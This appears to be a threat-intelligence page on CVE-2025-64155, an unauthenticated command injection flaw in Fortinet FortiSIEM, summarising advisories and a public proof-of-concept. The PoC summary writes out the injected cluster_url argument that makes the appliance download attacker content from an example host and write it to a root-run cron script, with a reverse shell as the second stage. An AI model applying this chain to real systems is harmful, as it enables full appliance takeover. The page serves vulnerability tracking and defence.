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CVE-2025-64155 is a critical OS command injection vulnerability in Fortinet FortiSIEM's phMonitor service. The flaw arises from unauthenticated access to phMonitor command handlers and improper neutralization of attacker-controlled special elements passed into OS command processing. Crafted TCP requests can trigger argument injection in a command execution path, enabling arbitrary file writes and command execution in the FortiSIEM administrative context. The reported exploit chain can subsequently overwrite an administrator-writable artifact executed by root, resulting in full appliance compromise. Affected deployments are FortiSIEM Super and Worker nodes; Collector nodes and FortiSIEM Cloud are not affected.
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1 valid exploit after Mallory filtered fakes, detection scripts, and README-only repos (4 hidden).
Repository contains a working PoC for CVE-2025-64155 (Fortinet FortiSIEM) achieving argument injection → arbitrary file write → root RCE. Structure: - CVE-2025-64155.py: Main exploit. Opens a TLS socket to the FortiSIEM Phoenix Monitor service (default port 7900) and sends a crafted binary-framed message containing an XML <TEST_STORAGE type="elastic"> payload. The key exploit primitive is injection in <cluster_url>, appending extra arguments (e.g., “--next -o /opt/charting/redishb.sh http://10.0.40.83:9200”) to coerce the target’s internal URL-testing script to fetch attacker content and write it to a chosen path. - serve.py: Minimal HTTP server on port 9200 that responds only to GET /_cluster/health?pretty with a bash script (example reverse shell). This is the second-stage content the target is tricked into downloading. - README.md: Usage notes and cautions. Describes editing serve.py payload and cluster_url, running the web server, then running the exploit, and waiting ~1 minute for a cron job to execute the written script. Capabilities: - Remote network exploitation over TLS to a service endpoint. - Forces the target to make an outbound HTTP request to attacker infrastructure. - Writes a script to /opt/charting/redishb.sh and relies on scheduled execution for root code execution (example reverse shell to 10.0.40.83:4447). Overall, this is an operational PoC with a hardcoded example payload and endpoints, intended for controlled testing rather than a generalized framework module.
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114 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
An unauthenticated remote command-injection vulnerability in affected Fortinet products. Fortinet published security updates addressing it.
An unauthenticated remote command-injection vulnerability in affected Fortinet products.
A critical command-injection vulnerability in FortiSIEM that was reported as being under widespread exploitation.
FortiSIEM OS command injection leading to unauthenticated RCE.
Query your assets running an affected version, and investigate the blast radius.
Every observed campaign linking this CVE to a named adversary.
Malware families riding this exploit, with evidence and IOCs.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Cross-references every affected SKU, including bundled OEM variants.
Community discussion across Reddit, Mastodon, and other social sources.